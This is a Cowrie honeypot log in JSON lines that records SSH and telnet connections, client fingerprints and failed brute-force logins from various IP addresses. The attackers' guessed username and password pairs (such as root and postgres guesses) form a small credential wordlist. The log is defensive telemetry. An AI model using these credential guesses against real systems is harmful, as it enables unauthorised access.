{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:07:39.940917Z","src_ip":"51.250.105.222","session":"e46e048facf3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:07:41.072894Z","src_ip":"51.250.105.222","session":"e46e048facf3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.14413237571716,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:07:42.149990Z","src_ip":"170.64.224.25","session":"ed411f7eb9fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00239586830139,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:08:11.609037Z","src_ip":"107.6.151.170","session":"02c60e643681","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.03397846221924,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:08:16.065075Z","src_ip":"170.64.224.25","session":"a1a865f6b915","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":37060,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad93421546ca","protocol":"ssh","message":"New connection: 91.92.40.4:37060 (10.17.0.5:22) [session: ad93421546ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:08:17.898109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:08:17.901877Z","src_ip":"91.92.40.4","session":"ad93421546ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:08:17.982955Z","src_ip":"91.92.40.4","session":"ad93421546ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123qwe","message":"login attempt [postgres/123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:08:18.228555Z","src_ip":"91.92.40.4","session":"ad93421546ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:08:19.313608Z","src_ip":"91.92.40.4","session":"ad93421546ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":36344,"dst_ip":"159.203.135.109","dst_port":22,"session":"456feab954fc","protocol":"ssh","message":"New connection: 103.176.20.57:36344 (159.203.135.109:22) [session: 456feab954fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:08:40.613799Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:08:40.620705Z","src_ip":"103.176.20.57","session":"456feab954fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:08:40.870111Z","src_ip":"103.176.20.57","session":"456feab954fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"200692","message":"login attempt [root/200692] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:08:41.619066Z","src_ip":"103.176.20.57","session":"456feab954fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:08:42.869543Z","src_ip":"103.176.20.57","session":"456feab954fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":48560,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e5200ea544c","protocol":"ssh","message":"New connection: 91.92.40.4:48560 (10.17.0.5:22) [session: 9e5200ea544c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:10:17.281782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:10:17.286365Z","src_ip":"91.92.40.4","session":"9e5200ea544c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:10:17.367718Z","src_ip":"91.92.40.4","session":"9e5200ea544c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"passpass","message":"login attempt [postgres/passpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:10:17.616774Z","src_ip":"91.92.40.4","session":"9e5200ea544c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:10:18.701397Z","src_ip":"91.92.40.4","session":"9e5200ea544c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":19588,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2d88f8236e1","protocol":"ssh","message":"New connection: 147.45.199.80:19588 (159.203.135.109:22) [session: d2d88f8236e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:10:25.907732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:10:25.915066Z","src_ip":"147.45.199.80","session":"d2d88f8236e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:10:26.018713Z","src_ip":"147.45.199.80","session":"d2d88f8236e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"10021980","message":"login attempt [root/10021980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:10:26.329259Z","src_ip":"147.45.199.80","session":"d2d88f8236e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:10:27.432770Z","src_ip":"147.45.199.80","session":"d2d88f8236e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":54032,"dst_ip":"159.203.135.109","dst_port":23,"session":"596c0e267c85","protocol":"telnet","message":"New connection: 170.64.224.25:54032 (159.203.135.109:23) [session: 596c0e267c85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:10:34.373143Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":53932,"dst_ip":"159.203.135.109","dst_port":23,"session":"2aff09d02fb8","protocol":"telnet","message":"New connection: 170.64.224.25:53932 (159.203.135.109:23) [session: 2aff09d02fb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:10:47.131693Z"}
{"eventid":"cowrie.session.closed","duration":16.37940812110901,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:10:50.752426Z","src_ip":"170.64.224.25","session":"596c0e267c85","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.5.224","src_port":35886,"dst_ip":"159.203.135.109","dst_port":22,"session":"c09fd3dd7990","protocol":"ssh","message":"New connection: 162.214.5.224:35886 (159.203.135.109:22) [session: c09fd3dd7990]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:10:51.256299Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:10:51.260529Z","src_ip":"162.214.5.224","session":"c09fd3dd7990","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:10:51.346195Z","src_ip":"162.214.5.224","session":"c09fd3dd7990","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"manta","password":"manta123","message":"login attempt [manta/manta123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:10:51.598133Z","src_ip":"162.214.5.224","session":"c09fd3dd7990","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.152.52.212","src_port":41951,"dst_ip":"10.17.0.5","dst_port":22,"session":"495d2113b468","protocol":"ssh","message":"New connection: 104.152.52.212:41951 (10.17.0.5:22) [session: 495d2113b468]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:10:52.766369Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0005\\xca\u0001\u0000\u0005\\xc6\u0003\u0003\\x9cX%\\xb1\u0002i\\xac>\u0007\u026a\u007f\\xad\\xa5\u01ef4\\xba\\xbe\\x83\\xcd\\xcf\u0016\\x89$K\\xde)\u001b6\\xe2\\xfa \\xd6f\\x8a'1\\x823l\\xdad|\\x8b\\x84\\xe1\\xe3\\x8dS_X \\x91\\xc9v\\xd8\u0223\\xb06\u0014\\xbdOF\u0000\u001a\\xc0+\\xc0/\\xc0,\\xc00\u0329\u0328\\xc0\t\\xc0\u0013\\xc0","message":"Remote SSH version: \u0016\u0003\u0001\u0005\\xca\u0001\u0000\u0005\\xc6\u0003\u0003\\x9cX%\\xb1\u0002i\\xac>\u0007\u026a\u007f\\xad\\xa5\u01ef4\\xba\\xbe\\x83\\xcd\\xcf\u0016\\x89$K\\xde)\u001b6\\xe2\\xfa \\xd6f\\x8a'1\\x823l\\xdad|\\x8b\\x84\\xe1\\xe3\\x8dS_X \\x91\\xc9v\\xd8\u0223\\xb06\u0014\\xbdOF\u0000\u001a\\xc0+\\xc0/\\xc0,\\xc00\u0329\u0328\\xc0\t\\xc0\u0013\\xc0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:10:52.770972Z","src_ip":"104.152.52.212","session":"495d2113b468","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:10:52.774489Z","src_ip":"104.152.52.212","session":"495d2113b468","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.152.52.206","src_port":56235,"dst_ip":"10.17.0.5","dst_port":22,"session":"afa9e4e564ec","protocol":"ssh","message":"New connection: 104.152.52.206:56235 (10.17.0.5:22) [session: afa9e4e564ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:10:52.847172Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:10:52.851206Z","src_ip":"104.152.52.206","session":"afa9e4e564ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:10:52.874021Z","src_ip":"104.152.52.206","session":"afa9e4e564ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:10:52.904400Z","src_ip":"104.152.52.206","session":"afa9e4e564ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:10:52.968901Z","src_ip":"162.214.5.224","session":"c09fd3dd7990","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.163.176.54","src_port":42838,"dst_ip":"10.17.0.5","dst_port":22,"session":"a98a94fba292","protocol":"ssh","message":"New connection: 69.163.176.54:42838 (10.17.0.5:22) [session: a98a94fba292]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:10:53.930081Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:10:53.935570Z","src_ip":"69.163.176.54","session":"a98a94fba292","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:10:54.007327Z","src_ip":"69.163.176.54","session":"a98a94fba292","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"snx456","message":"login attempt [root/snx456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:10:54.222295Z","src_ip":"69.163.176.54","session":"a98a94fba292","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:10:55.296136Z","src_ip":"69.163.176.54","session":"a98a94fba292","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":34748,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb1638591449","protocol":"telnet","message":"New connection: 170.64.224.25:34748 (159.203.135.109:23) [session: eb1638591449]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:11:45.968989Z"}
